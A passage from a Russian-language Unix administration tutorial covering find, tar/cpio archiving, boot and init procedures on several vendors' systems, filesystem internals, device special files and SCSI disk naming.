нять с  найденными  файлами  указанные действия. Например, самое
простое действие - распечатать имя файла.

    find   файл [ ... ]   ключи/условия/действия

        Ключи-условия команды find:

  -name "*.c" - простое имя подходит под шаблон *.c
  -type f     - брать только обыкновенные файлы
  -type d     - брать только каталоги
  -size +500  - файлы размером БОЛЬШЕ 500*512 байт
  -mtime -3   - дата модификации МЕНЬШЕ 3-х дней
  -newer  filename - дата модификации нашего файла МЕНЬШЕ, чем у
                     заданного файла filename

ВНИМАНИЕ:  Команда  find  использует  стандартные  SHELL'овские
шаблоны.  Команда  grep  использует  шаблоны  другого  формата,
называемые регулярными выражениями.

        Ключи-действия команды find

  -print      - просто распечатать маршрутное имя файла
  -exec команда над файлом {} \;

        Пример.

Напечатать имена всех обыкновенных Си-шных файлов, изменившихся
за последние 4 дня в текущем каталоге и его подкаталогах.

    find . -type f -mtime -4 -print

Уничтожить  все  файлы с окончаниями *.bu, *%, которые не меня-
лись больше месяца.

    find   / \( -name "*.bu" -o -name "*%" \) -type f    \
    -atime +30 -exec  rm  {} \;

запись "rm {} \;"  - обозначает команду Unix, которая будет вы-
полняться для всех  таких  найденных файлов. Вместо значка "{}"
будет подставляться каждый раз имя найденного файла. Естествен-
но, что таким образом мы их все и уничтожим.
.
        &dD;Архивирование. Копирование файлов на стриммер&d;@

В Unix для этого можно пользоваться двумя утилитами:

tar     попроще в использовании, но не все умеет
cpio    более гибкая, чем tar, и посложнее.

        &dD;Команда  tar  (Tape Archiver)&d;@.

Предназначен для создания архивов на ленте и в файлах.

Ключи: "-c" Create, "-x" eXtract, "-a" Append, "-t" оглавление

tar -cvf arhiw.tar fajl1 fajl2 katalog3 ...     - создать архив
tar -tvf /dev/rmt/ctape                вывести оглавление ленты
tar -xvf arhiw.tar katalog3/fajl4      извлечь из архива   файл
tar -xvf /dev/rmt/ctape          архив лежит на магнитной ленте
                                 извлечь с ленты все файлы
tar -avf arhiw.tar fajl5                 добавить файл к архиву

Ключи:
 "v"    Выводить список файлов в длинном формате (Verbose)
 "f"    Указывает на имя файла

        &dD;Команда CPIO.  (Copy In/Out)&d;@.

Команда cpio -o берет с системного ввода список  имен и склеивает
эти файлы вместе в один архив, выталкивая  его на свой  системный
вывод.

Сбросить на ленту файлы по списку:

        -o     - (output) создавать архив.
        -H odc - Записывать в "совместимом формате" (чтобы  ар-
                 хив  можно было считать на Besta или Sun)
        -c     - Записывать в "престарелом" совместимом формате

    cat spisok | cpio -ovB -H odc > /dev/rmt/ctape1
    find katalog -print | cpio -ovc > arhiwnyj-fajl.cpio


Команда cpio -i читает с системного ввода cpio-архив и извлека-
ет из него файлы

# Просмотреть содержание стриммера.
    cpio -itB   < /dev/rmt/ctape

# Извлечь файлы со стриммера.
    cpio -idmvB  ["шаблон" ...] < /dev/rmt/ctape

        -B   Размер блока 5120 байт - стриммерный формат.
        -d   Создавать каталоги в случае необходимости.
        -v   Вывести список имен обработанных файлов.
        -m   Сохранять  прежнее время последней модификации.
        -f   Брать все файлы, кроме указанного шаблоном.
        -u   Безусловно заменять существующий файл  архивным.
        -l   Где можно, не копировать, а делать ссылки.

        &dD;Архивация со сжатием&d;@.

Архиваторы tar и  cpio, в отличие от DOS-овских архиваторов, не
занимаются компрессией. Чтобы получить сжатый архив, нужно вос-
пользоваться специализированной командой compress или gzip.

Команда compress читает  свой системный ввод, а на свой систем-
ный выход  подает  "прожатые"  данные.

Команда zcat ("сжатый cat":-) читает с системного входа "пожа-
тый" файл, а на выход подает "разжатые" данные.

Создать сжатый tar-архив:

    tar -cvf - emacs-19.28 | compress > emacs-19.28.tar.Z

Прочитать оглавление сжатого tar-архива:

    zcat < emacs-19.28.tar.Z | tar -tvf -

Обратите внимание на  ключ  минус "-" на том  месте,  где в tar
нужно указывать имя  файла с архивом. Он означает "брать данные
со стандартного входа"  (или  выводить архив на стандартный вы-
ход).

GNU Zip - достаточно известный упаковщик,  имеет степень сжатия
более высокую, чем у compress, почти как у arj или  pkzip. Соз-
дать сжатый cpio архив, используя "компрессор" gzip.

    find . -print | cpio -ovcaB | gzip > arhiw.gz

Извлечь файлы из сжатого cpio-архива

    gunzip < arhiw.gz | cpio -idmv



        &dD; mt - управление магнитной лентой &d;@

Специализированная программа  для работы с магнитными лентами. В
частности, с ее помощью можно дописывать файлы на ленту один за
другим.

Чтобы узнать, что она может делать, наберите:

    man mt

В SCO Unix программа управления лентой называется "tape"

        &dD;Другие утилиты архивации&d;@

В  зависимости  от  версии  Unix  могут  существовать и другие программы для
бэкапирования и создания архивов.

 backup/restore
 dump
 fbackup/frestore (HP/UX)
 pax
 . . .
.
        &dD;Начальная загрузка операционной системы&d;@

        &dD; * Boot-процедура * &d;@

        Boot,   bootstrapping   -   слова, обозначающие  сейчас
"Загрузить/пнуть, процесс начальной  загрузки", на  самом  деле
произошли  из  английской фразы "Pull itself up by its own boot
straps" (Поднять себя за шнурки собственных ботинок)

     Начинается все с Boot-prom'a - небольшой программы, которая
хранится  в   нестираемой   памяти   компьютера    и   начинает
выполняться сразу после включения.

      Естественно, boot-prom умеет делать многое: форматировать
диски, инсталлировать  операционную  систему,  запускать  тесты
hardware.  Однако главное его предназначение - найти на диске и
запустить на выполнение файл /unix - ядро операционной системы.
И  своего  собственного  разума  на  это ему обычно не хватает,
поэтому  он  в  первую  очередь  загружает  с  жесткого   диска
"загрузчика   операционной   системы",  а  уж  тот  делает  все
остальное.

        &dDSUN;&d;@

     Boot-prom загружает "BOOT BLOKS" - 1-ю ПРОГРАММУ НАЧАЛЬНОЙ
ЗАГРУЗКИ. "boot-bloks" расположены  в  1-15  секторах  раздела,
содержащего  корневую  файловую  систему  "/".  Обычно корневая
файловая система  располагается  на  разделе  номер  0.
     "Boot-   blocks"   можно   записать   на  корневой  раздел
загрузочного диска (обычно это внутренний диск со  SCSI-номером
3)  командой  installboot.  Для этого выполняется что-нибудь
такое:

    installboot /dev/rdsk/c0t3d0s0

     Boot-blocks  "умеет читать" формат файловой системы unix -
ufs .  Он находит на корневой файловой системе файл  "/ufsboot"
- 2-Ю ПРОГРАММУ НАЧАЛЬНОЙ ЗАГРУЗКИ - и загружает ее.

     /ufsboot находит ядро /kernel/unix и загружает его.

     Ядро   Unix   загружается   в   оперативную  память.  Затем  подключает
дополнительные загружаемые модули с драверами  устройств.  Как  только  ядро
"набирает"    достаточное    количество   драверов,   чтобы   самостоятельно
смонтировать корневую файловую систему, оно тут же это и делает, после  чего
начинает   действовать   самостоятельно,   не   используя   кода   начальных
загрузчиков.

     Перехват в boot-prompt:

  STOP+A

     Загрузка в single user:

  bo: boot -s

        &dDMotorola; 922&d;@.

     Boot-prom  загружает с диска ЗАГРУЗЧИК - файл /stand/boot,
Загрузчик загружает ядро /stand/unix

     Поскольку  boot-prom  не  в  состоянии  вместить  кода для
работы со стандартной unix'овской файловой системой, файлы unix
и  boot  лежат  в  отдельном  разделе  жесткого диска - разделе
/stand. На нем создана "ОЧЕНЬ  ПРОСТАЯ  ФАЙЛОВАЯ  СИСТЕМА"  bfs
(Boot  File  System),  чтобы  boot-prom'у  было полегче найти и
считать с диска загрузочные файлы.

     Перехват в boot-prompt:

После того как на консоли появится сообщение: "Idle MPU: none"
нажать клавишу ПРОБЕЛ

     Загрузка в single user:

        Во   время   начальной  загрузки  на  несколько  секунд
появляется приглашение: "Press _что-то_to enter system_maintence.
Нажать требуемую клавишу

        &dDLinux;&d;@.

     BIOS  загружает блок начальной загрузки активного раздела.

     Он  грузит  загрузчик  LILO (LInux LOader). Lilo загружает
файл /vmlinuz

     Параметры   начальной   загрузки   записываются   в  файле
/etc/lilo.conf После любых изменений в  этом  файле  необходимо
выполнить команду

  lilo

     Перехват в Lilo-prompt:

Left_ALT сразу после появления сообщения "Lilo ..."

     Загрузка в single user:

  Lilo: linux root=/dev/hda2 single

     Загрузка в еще более single user:

  Lilo: linux init=/bin/sh
  mount -n -o remount /dev/hda2 /
  insmod de4x5
  ifconfig eth0  195.232.171.30
  route add -net 195.232.171.0 gw 195.232.171.30
  insmod nfs

        &dDHP-UX;&d;@

     В ПЗУ HP 9000 проживает "PDC" - "Processor Dependent Code"
- чтоб поговорить с  ним, надо  нажать  клавишу  ESC  в  первые
секунды загрузки.

     На   загрузочном   диске   есть  Boot-раздел  формата  LIF
(линейная файловая система) В LIF-томе 4 "файла"

ISL       - "операционная" программа
HPUX      - собственно загрузчик ядра
AUTOBOOT  - текстовый  файл,  в  котором  написано имя ядра по
            умолчанию

Итак: PDS вызывает ISL командой

  bo scsi.6.0 isl

ISL загружает ядро командой

  hpux /stand/vmunix

     Перехват в PDC-prompt:

Нажать ESC в первые 10 секунд

     Загрузка в single user:

PDC> bo pri isl
ISL> hpux -is /stand/vmunix

        &dD; * Процесс init * &d;@

Ядро инициализирует себя и после этого  запускает процесс init.
А init - все остальные процессы,  программы, которые необходимы
для нормального функционирования операционной системы.

Все дальнейшие  действия в системе определяются этим процессом.
Все, что нужно делать init-у, определяет специальная таблица.

Процесс init всегда находится на каком-либо "УРОВНЕ ВЫПОЛНЕНИЯ".
Уровень выполнения определяет состояние и поведение всей систе-
мы. Уровень обозначается цифрой (или буквой) 0,1,2,3,4,5,6,s,S

   0        - prom монитор - Полный останов системы;
1, s, S     - single user mode. Однопользовательский режим;
   2        - многопользовательский режим без NFS-сервера;
   3        - многопользовательский режим с NFS-сервером;
   6        - перезагрузка;


        &dD; * Примерный фрагмент управляющей таблицы  /etc/inittab * &d;@

bchk::sysinit:/etc/bcheckrc/dev/console 2>&1
brc::sysinit:/etc/brc   > /dev/console 2>&1
is:3:initdefault:
rc:12345:wait:/etc/rc    > /dev/console 2>&1
r0:0:wait:/etc/rc0       > /dev/console 2>&1
r2:23:wait:/etc/rc2      > /dev/console 2>&1
r3:3:wait:/etc/rc3       > /dev/console 2>&1
pf:12345:powerfail:/etc/powerfail > /dev/console 2>&1
co:12345:respawn:/etc/sysmonitor  console console
t1:23:respawn:/etc/sysmonitor     tty01   9600
t2:23:off:/etc/sysmonitor         tty02   9600

        Формат таблицы:

ИМЯ:Уровни_выполнения:вид_действия:запускаемая команда

ИМЯ: - просто имя строчки - они все должны быть разными
вид_действия:

  sysinit   запустить один раз после начальной загрузки;

            на соответствующем уровне выполнения:
  wait    - запустить один раз и дожидаться, пока не окончится;
  respawn - запустить параллельно, а если окончится, перезапус-
            кать снова;
  off     - ничего не делать (просто игнорировать эту строку).


Если  посмотреть  внимательно на таблицу, то можно разобраться,
что же в действительности происходит при загрузке  и откуда бе-
рутся все эти загадочные сообщения.


        Сперва init запускает процессы, которые "sysinit"

        Отработав все строки "sysinit" уровня,  init  идет  все
дальше  по  /etc/inittab  и обнаруживает строку initdefault 3 -
она заставляет его "перейти" на уровень 3.

        &dD; * Run Command - стандартные RC-каталоги запуска * &d;@

       Перейдя  на  уровень  выполнения  3, init и отрабатывает
первую  встретившуюся  строчку  с  уровнем  "3"  -  запускается
командный  файл  /etc/rc2  -  загляните в него. Там все просто:
/etc/rc2  берет  и  выполняет  командные  файлы  /etc/rc2.d/S*,
лежащие  в  каталоге  /etc/rc2.d.  Каждый  файл  выполняется  с
параметром "start"

       Отработав /etc/rc2, init точно таким же образом запускает
файл /etc/rc3. Вслед за этим он запускает  несколько  процессов
sysmonitor  -  по  одному  на каждый имеющийся терминал. Это те
самые  процессы,  которые  говорят  на  терминал:   "Login:   "
Пользователь, войдя  на  терминал, некоторое время работает, но
как только он  "уходит"  из  системы,  на  указанном  терминале
ничего  не остается. init тут же выполняет действие "respawn" -
перезапускает на терминал sysmonitor - и  опять  жизнерадостное
"Login: " появляется на терминале.

        &dDLinux; Slackware&d;@

        По умолчанию init устанавливает уровень выполнения 5.
При начальной загрузке отрабатывается файл
/etc/rc.d/rc.S

        Затем для перехода в многопользовательский режим
/etc/rc.d/rc.M
        из которого запускаются файлы
/etc/rc.d/rc.inet1  устанавливающий сетевые интерфейсы
/etc/rc.d/rc.inet2  запускающий сетевые сервисы
/etc/rc.d/rc.local  запускающий  несколько  полезных  программ и
                    демонов - например, поддержка мыши,   httpd,
                    русификация  консоля и т.п.

        &dDLinux; RedHat&d;@

Используется стандартная технология rc-файлов System V

RC-каталоги:
/etc/rc.d/rc[0123456].d/
/etc/rc.d/init.d/

Конфигурационные параметры для RC-команд:
/etc/sysconfig/

        &dDHP-UX; 10.20&d;@

Не  смотря  на  BSD-евое происхождение, используется стандартная
технология rc-файлов System V

RC-каталоги:
/sbin/rc[0123].d/
/sbin/init.d/

Конфигурационные параметры для RC-команд:
/etc/rc.defaults.d/

        &dDSVR4;: SUN, Motorola&d;@

Используется стандартная технология rc-файлов System V

RC-каталоги:
/etc/rc[0123456].d/
/etc/init.d/
.
        &dDUnix;, базовые принципы и особенности&d;@.

Все  системные  действия выполняет  ядро  операционной  системы
Unix. Ядро - обычный выполняемый файл, расположен в файле /unix
или /stand/unix или /vmunix или /vmlinuz (в зависимости от кон-
кретной реализации). Можете посмотреть размер этого  файла - не
маленький. При начальной загрузке системы ядро целиком загружа-
ется в оперативнную память и в дальнейшем резидентно находится
в ней, выполняя все необходимые работы.

        Что входит в ядро.

ДРАЙВЕРЫ УСТРОЙСТВ. И тех, которые есть, и тех, которых нет, но
могут  быть,  а  также  и  такие,  которые  никогда  вам   не
понадобятся.

УПРАВЛЯЮЩИЕ   ПОДПРОГРАММЫ:   части   кода,   ответственные  за
обеспечение  работы  пользовательских  программ  -   разделение
времени и прочих ресурсов системы.

СЛУЖЕБНЫЕ ТАБЛИЦЫ И ДАННЫЕ ЯДРА: таблицы текущих процессов, от-
крытых файлов, управляющие структуры...

СИСТЕМНЫЕ ВЫЗОВЫ. (То, что MS-DOS называется "21 прерывание",
можно  считать  некоторой   аналогией/пародией   на   системные
вызовы.)   С  точки  зрения  программиста  это  обычная си-шная
функция,  только  выполняет  она  системно-зависимые  действия,
например:   прочитать   данные  из  файла,  установить  сетевое
соединение, создать каталог, и т.д. и т.п. Все системные вызовы
( а всего их более 1500 штук ) вкомпилированы в тело ядра Unix.
Пользовательские  программы,  вызывающие  функции,   являющиеся
системными  вызовами,  на  самом деле содержат только jump'ы на
соответствующие  адреса  памяти  в  ядре.  В   пользовательскую
программу системные вызовы не влинковываются.

        Что находится в оперативной памяти.

ЯДРО ОПЕРАЦИОННОЙ СИСТЕМЫ.

БУФЕРНЫЙ КЭШ.  Часть оперативной памяти резервируется под кэши-
рование чтения и записи на диск. Любая операция  чтения с диска
приводит к тому,  что  прочитанные  блоки помещаются в буферный
кэш,  а  из него уже передаются запросившим данные  программам.
Если блок попал в кэш, то все последующие обращения к  нему бу-
дут получать образ блока из кэша, причем независимо от того -
та же самая программа обращается к блоку или  какая-либо дру-
гая. Кэшируется также и запись на диск,  опять же, разделяемая
между всеми выполняемыми программами.

ПРОЦЕССЫ. Процессом в Unix называется выполняющаяся программа.

        Средства экономии памяти. Виртуальная память.

РЕЕНТЕРАБЕЛЬНОСТЬ КОДА.  Когда  одна и та же программа(выполня-
емый файл) запущена в нескольких экземплярах,  то в оперативную
память загружается только одна копия выполняемого ассемблерного
кода на всех. Каждый  выполнямый  процесс использует один и тот
же текст программы, просто у каждого процесса имеется свой соб-
ственный указатель на текущий оператор.

РАЗДЕЛЯЕМЫЕ БИБЛИОТЕКИ. (В  Windows  есть похожее понятие DLL -
динамически подгружаемая библиотека). Некоторое количество час-
то выполняемых функций (например, printf,  да  и  много  других)
оформляется в виде специальным образом подготовленной библиоте-
ки  (SHARED  LIBRARY).  При компиляции программы,  использующей
разделяемые  библиотеки,  эти  функции не линкуются внутрь кода
программы.  Они  "выдергиваются"  из   библиотеки   на   стадии
выполнения  программы.  Этим  мы  экономим  место  на диске и в
оперативной памяти: в программах  отсутствует  код  разделяемых
функций,  а  в  оперативной  памяти  эта функция присутствует в
одном экземпляре на всех.

SWAPING. Каждый  Unix-процесс функционирует в своем собственном
32-х битном виртуальном адресном пространстве, не пересекающем-
ся с другими.  Адресное  пространство процесса может быть боль-
шим, чем физическая оперативная память. Виртуальная память под-
держивается с помощью PAGING'а - разрешения виртуальных адресов
в физические  "на  лету",  с  подкачкой  отсутствующих  страниц
памяти со swap-области на жестком диске.

На самом деле SWAPING'а как такового в Unix'е  нет, вместо него
применяется гораздо более гибкий PAGING. (swaping  - по опреде-
лению,  это  ПОЛНАЯ выгрузка программы на swap-область с  целью
освобождения места в оперативной памяти).

Область памяти, занятая программой, разделена на три части: TEXT
(выполняемые коды программы), DATA (статические данные програм-
мы), STACK (динамические данные). Когда операционка освобождает
место в  памяти за счет TEXT'а,  то она не   занимается сбросом
его на  диск. Она сразу  помечает его как   свободный. Действи-
тельно, когда потребуется загрузить TEXT обратно  в память, его
можно  будет взять из самого  выполняемого  файла с программой.
Такая экономия имеет один побочный эффект.  Файл программы, ко-
торая в  данный момент выполняется, невозможно уничтожить. Опе-
рационная система сообщит в этом  случае:  "text  file busy", и
откажется выполнять удаление.

БИТ  НАВЯЗЧИВОСТИ.  (sticky  bit). Выполняемая программа  может
иметь дополнительный атрибут. Так  называемый  "бит навязчивос-
ти". Когда такая программа заканчивает выполнение,  операционка
(по возможности) старается не занимать память,  в которой нахо-
дился текст программы. Соответственно, повторный ее запуск про-
изойдет очень быстро  - ведь программа все еще  загружена в па-
мять, ее не требуется зачитывать с диска. Нужно просто передать
на нее управление.

        &dD;Файловая система Unix&d;@.

Файловая система в Unix -  "деревянная",  состоит   из файлов и
каталогов. На  каждом разделе диска создается собственная неза-
висимая файловая система. Отдельные файловые системы "сцепляют-
ся"  вместе,  в единое общее дерево директорий. Такая  операция
называется "монтированием". Выглядит это примерно так:

   mount -F ufs   /dev/dsk/m197_c0d0s5 /home1
   mount -F ufs   /dev/dsk/m197_c0d0s4 /usr
   df

Получить доступ  к  файлам  "несмонтированной" файловой системы
невозможно. Порочная пракика MS-DOSа - сколько разделов, столь-
ко и "дисков" ( a: b: c: d: e: ... k: l:  m: n:) в Unix не при-
меняется. В Unix всегда есть ровно одно общее дерево каталогов,
и,  по  большому  счету, пользователям совершенно все равно, на
каком именно диске или  разделе  диска  расположены  его  файлы
/usr/spool/moshkow или /home1/moshkow/bin/mcopy ...

Файловая система Unix кэшируется буферным кэшем. Операция запи-
си на диск выполняется не тогда, когда это приказывает выполня-
емый  процесс,  а когда операционная  система сочтет нужным это
сделать.  Это резко поднимает эффективность и скорость работы с
диском,  и  повышает  опасность  ее  использования.  Выключение
питания  на  "горячей",  работающей  Unix-машине   приводит   к
разрушениям  структуры файловой системы.

При каждой начальной загрузке Unix проверяет - корректно ли бы-
ла выключена  машина в прошлый  раз, и если нет - автоматически
запускает утилиту fsck  (File System Check) - проверку и ремонт
файловых систем..

        &dD;Внутренняя структура файловой системы Unix&d;@.

Раздел диска, в котором создана файловая система, разбит на три
части.

СУПЕРБЛОК. Занимает 1 Kb.
           Содержит служебную информацию:
           Тип файловой системы,
           Размер
           Начало списка свободных блоков.
           . . . что-то еще

ОБЛАСТЬ INOD-ов.  Занимает  примерно 8% общего размера раздела.
inode - Index-node  - описатель файла. Он содержит всю информа-
цию о файле, за исключением  имени  файла,  и собственно данных
файла. В inod'е хранится:

   тип файла (файл, каталог, именованный канал, специальный файл)
   кто владелец
   права(атрибуты) файла
   время модификаци/создания файла
   адреса блоков, из которых состоит файл
   что-то еще ...

ОБЛАСТЬ ДАННЫХ. В этой области расположенвИРТУАЛЬНАЯЯы блоки с данными фай-
                лов. Незанятые блоки провязаны в СПИСОК СВОБОД-
                НЫХ БЛОКОВ

Файлы бывают двух основных типов. ФАЙЛ, КАТАЛОГ.

ФАЙЛ - он и есть файл.

КАТАЛОГ - файл фиксированного формата:  состоит  из  строчек  с
именами файлов, входящих в каталог

        имя_файла1         Номер_Инода1
        имя_файла2         Номер_Инода2
           . . .

Чтобы получить доступ к файлу по имени, операционная система
 1. находит это имя в каталоге, содержащем файл,
 2. берет Номер_Инода файла,
 3. по номеру находит inod в области inod'ов,
 4. из inod'а берет адреса блоков, в которых расположены данн-
    ые файла,
 5. по адресам блоков считывает блоки из области данных.
Все.

        Формат индексного описателя файла.

Область инодов разбита на 64-х байтные структуры - inod'ы.
В inod'е хранится:

  Тип файла (файл/каталог/специальный файл/fifo/socket)
  Атрибуты (права доступа)
  Владелец файла
  Группа-владелец файла
  Времена создания, модификации, последнего доступа к файлу
  Длина файла
  Адрес 1-го блока файла
  Адрес 2-го блока файла
  ...
  Адрес 10-го блока файла
  Адрес блока косвенной адресации (блока с 256 адресами блоков)
  Адрес блока 2-й косвенной адресации
     (блока с 256 адресами блоков с адресами)
  Адрес блока 3-й косвенной адресации
     (блока с адресами блоков с адресами блоков с адресами)

Точный формат структуры файловой системы см.
man fs
.
        &dD;Специальные файлы&d;@

В Unix помимо обычных файлов и каталогов существуют  еще и спе-
циальные файлы. Они используются для обозначения физических ус-
тройств компьютера. (Железок). В сущности, что  такое файл? Это
"нечто", куда можно записывать  данные  как последовательность
байтов  и  считывать их оттуда. И, значит, вполне  естественным
выглядит, например,  файл  /dev/console  - соответствующий кон-
сольному  терминалу.  Все,  что  выводится в файл /dev/console,
будет просто появляться на экране терминала. При попытке чтения
из  файла  /dev/console вы будете  получать (внимание!)  не то,
что нарисовано в данный момент на экране, а то, что вводится  с
клавиатуры. Попробуйте выполнить команды

  su
  echo Привет > /dev/console
  cat /dev/console

  Ctrl-C

Для  каждого  терминала  unix-машины существует соответствующий
ему  файл.  Обычным  терминалам  соответствуют  файлы,  которые
называются примерно так:

  /dev/contty01 или /dev/tty02 или /dev/ttyFD02 или /dev/ttyS0
  (и т.д., возможны варианты)

Псевдотерминалам (они эмулируются, когда вы входите в  систему
по сети, посредством команд типа telnet, rlogin) соответствуют
специальные файлы

  /dev/pty*, или /dev/pty/*

Команда  who,  или  who  am  i  сообщит вам, как называется ваш
собственный терминал.

Существуют специальные файлы, соответствующие жесткому диску  в
целом   (/dev/rdsk/m197_c0d0s7)     и   всем   его    разделам
(/dev/dsk/m197_c0d0s*). Если  вы  будете читать из этих файлов,
то  получите  все  байтики,  как  они лежат на жестком диске, с
нулевого цилиндра и до последнего... А  если  вы  в  этот  файл
что-нибудь  запишете,  то  получите  (потом)  богатый  опыт  по
переформатированию и разметке жесткого диска.

/dev/mem   - файл, изображающий оперативную память.

/dev/audio - если  "закатить"  в него  файл  звукового  формата
             (*.wav, *.au, ...?) - то он  будет озвучен динами-
             ком  компьютера,  а  команда cat /dev/audio  будет
             принимать все, что произносится в микрофон.  Впро-
             чем,  я  отвлекся,  у  нас ведь не PC,  не  Silicon
             Graphic и не SPARCstation.

/dev/zero  - из него можно считать сколько угодно нулевых байтов

/dev/null  - а в  него можно писать, и  читать из него - тоже, в
             неограниченных количествах и с неизменным резуль-
             татом: NULL - он и есть null. А в MSDOS его аналог
             называется    NUL.

Специальные файлы бывают двух типов:

  блочные  - запись и  чтение допускаются только блоками.  Нап-
             ример, разделы дисков с файловой системой являются
             таковыми.

  ls -al /dev/fd*
brw-rw----  1 root floppy    2,  28 Jul 18  1994 /dev/fd0H1440
brw-rw----  1 root floppy    2,  32 Jul 18  1994 /dev/fd0H2880
brw-rw----  1 root floppy    2,  12 Jul 18  1994 /dev/fd0H360


 символьные(бесструктурные, сырые, row) - можно читать и писать
           отдельными байтами. К ним относятся терминалы,  маг-
           нитные ленты, неформатированные диски и разделы дис-
           ков без файловой системы.

  ls -al /dev/tty*
crw--w--w-   1 moshkow  sys        4,   1 Jan 15 22:00 /dev/tty1
crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2
crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2

Различие - первая буква в листинге команды ls  -l

Понятия "размер" у специального файла не  существует. Ведь этот
файл обозначает физическое устройство.  Фактически  это ссылка
на соответствующий драйвер. Вместо длины команда ls показывает
для таких файлов  два числа: "мажорный" и "минорный" номера ус-
тройств. Будем считать для ясности, что "мажор" - это порядковый
номер драйвера устройства, а "минор" -  внутренний номер устрой-
ства в таблице обслуживающего его драйвера.

        &dD;Создание специальных файлов&d;@

 Обычно  их  создавать  не  нужно  -  они все уже есть для всех
известных  настоящих   и   будущих   устройств.   Созданы   при
инсталляции системы.

 Ручное создание спецфайла

   mknod /dev/filename { c | b }  MAJOR MINOR

        &dDHP-UX;: полуавтоматическое создание спецфайлов&d;@

При  начальной  загрузке  в  /etc/inittab  отрабатывает  скрипт
/sbin/ioinitrc, который, обнаружив  новые  платы  и  устройства,
автоматически  запускает команду их инициализации, конфигурации
и создания необходимых для них спецфайлов.

см. документацию по командам

 ioscan
 mksf
 insf

        &dDSolaris;: полуавтоматическое создание спецфайлов&d;@

При загрузке выйти в boot-монитор и загрузиться с ключем -r

STOP+A

ok boot -r         - реконфигурационная загрузка

все необходимые спецфайлы для вновь подключенных устройств будут
при этом созданы автоматически.
.
        &dD;Диски, ленты, файловые системы&d;@.

        &dD; * Какие есть SCSI устройства * &d;@

        &dDMOTOROLA;: Какие есть SCSI устройства&d;@.

   scsiscan             - эта утилита сообщит вам,  какие  SCSI
                          устройства  подключены и как они
                          называются (SCSI-id)

       После  подключения новых устройств к компьютеру Motorola
922  он самостоятельно их распознает  при  очередной  начальной
загрузке   и  запускает  программу из каталога /sbin/auto-boot,
которая  создает  специальные   файлы,   соответствующие   этим
устройствам.



        &dDSUN;:      Какие есть SCSI устройства&d;@.

     На  компьютере  Sun  SPARC для определения SCSI-устройств:
Перейдите в BOOT-prom монитор (Нажмите клавиши Stop+A)  Введите
команду probe-scsi

  ok probe-scsi


     Чтобы   создать  специальные   файлы,  выполните
"reconfiguration boot": из BOOT-промпта

  ok boot -r

        &dDLINUX;:    Какие есть SCSI устройства и жесткие диски&d;@.

     IBM   PC/Linux  сообщает  об  опознанных  устройствах  при
начальной загрузке. Предполагается, что соответствующий  драйвер
SCSI   (if  exists)  сконфигурирован  в  ядре.  Чтобы  еще  раз
просмотреть эти сообщения, выполните команду

    dmesg

     Все специальные файлы для дисков и лент уже созданы

        &dDHP-UX;&d;@

Перехватить boot промпт, дать команду SEA    (search)
Или на живой машине   ioscan

        &dD; * Описание геометрии диска при подключении * &d;@

     Для  нормальной  работы  с  диском, возможно, (зависит  от
системы) придется позаботиться об описании геометрии диска.

     При   покупке   диска  ТРЕБУЙТЕ  с  поставщика  бумажки  с
характеристиками и геометрией диска.
     Seagate, например, все характеристики держит на
http://www.seagate.com

        &dDLinux;, FreeBDS: ничего описывать не надо&d;@

     Переходите к следующему разделу.

        &dDMOTOROLA;: описание геометрии диска&d;@


     Уже  имеющиеся описания для "фирменных" дисков расположены
в каталоге /etc/dskdefs/. Выберите описание  "похожего"  диска,
запомните  его  имя,  например,  1Gb Seagate-ST31 - "msea11200".
Подсказка: загляните в /etc/scsifmt.info

     Командой ddefs записать геометрию диска и сохранить ее под
новым  именем.  В  ответ  на  запрос  "Template"   введите  имя
описания  "похожего"  диска.  Поправьте  параметры,  которые вы
знаете, и оставьте как есть, если не знаете, зачем они.

      ddefs -n filename

Актуальные параметры: естественно, число голов, секторов...
А также (по собственной шкуре проверено):

 Root offset: 648              (т.к. VTOC занимает 648 блоков)
 Slice count: 16               (Положено 16 разделов на диске)
 Interleave:  1                (Что означает "отсутствует")
 Precomp cylinder: {последний} (Ныне прекомпенсация не используется)
 Bad spots:   100             (Резерв для замещения bad-блоков)
 Controller attribute: 850     (кто его знает, зачем, но так
 Attribute:   10                у всех остальных  дисков)
 Word attribute: 10

Выход  из  команды  ddefs  "w"  и "q" в ДОКУМЕНТАЦИИ НЕ ОПИСАН.
Подсказка по остальным командам ddefs выводится командой "help"

       В  таблице /etc/scsifmt.info добавить строчку со ссылкой
на файл с геометрией диска. В качестве  ключевых  слов  указать
то, что выводит команда scsiscan. Например, так:

scsiscan
SEAGATE  ST51080N  m187_0c0d1  ...

cat >> /etc/scsifmt.info
"SEAGATE"       "ST51080N"      filename   7    "1GB SCSI"
^D

        &dDSUN;: описание геометрии диска&d;@

     Чтобы   диск   опознавался   Sun'ом,   для   него   должно
существовать описание геометрии в файле /etc/format.dat

        &dD; * Как называются диски и разделы на машине * &d;@

     Каждое "устройство" имеет соответствующий ему "специальный
файл". От системы к системе имена эти абсолютно друг на друга не
похожи.  Одно, пожалуй, постоянно: все специальные файлы обычно
расположены в каталоге /dev или его подкаталогах.

        В SVR4 устройства собраны в отдельные каталоги:

  /dev/rdsk/*  - бесструктурные диски и разделы дисков
  /dev/dsk/*   - блочные диски и разделы дисков
  /dev/rmt/*   - стриммерные накопители на магнитной ленте
  /dev/term/*  - линии для подключения терминалов (dial-in)
  /dev/cua/*   - линии с модемным управлением (dial-out)
  /dev/pts/*   - псевдотерминальные линии

        &dDMOTOROLA;: Общий формат имени:&d;@
    controller_cXdYsuffix           где:
             controller - тип устройства
                X       - номер контроллера
                Y       - логический номер устройства
                suffix  - зависит  от  устройства, например:
                          номер раздела на жестком диске

        Логические диски (разделы физического SCSI диска)
        с блочной структурой на станции Motorola 922

/dev/dsk/m197_c0d0s1    SCSI контроллер m197 номер 0,
                        SCSI устройство 0
                        логический раздел (slice) 1
/dev/dsk/m328_c0d0s0    SCSI контроллер m328 номер 0,
        . . .           SCSI устройство 0
                        логический раздел (slice) 0

        Физический диск (целиком)

/dev/rdsk/m328_c0d0s7   Условное  обозначение  всего   жесткого
/dev/rdsk/m197_c0d1s7   диска, целиком

        Бесструктурные (сырые)  разделы

/dev/rdsk/m197_c0d0s1
/dev/rdsk/m197_c0d1s2

        Магнитные ленты.

/dev/rmt/ctape1             а также
/dev/rmt/m197_c0d4

        CD-ROM.

/dev/rdsk/m197_c0d6s7    - "сырой" (физический)
/dev/dsk/m197_c0d6s0     -  раздел CD-ROM с файловой системой
                            "Моторольного" формата ufs
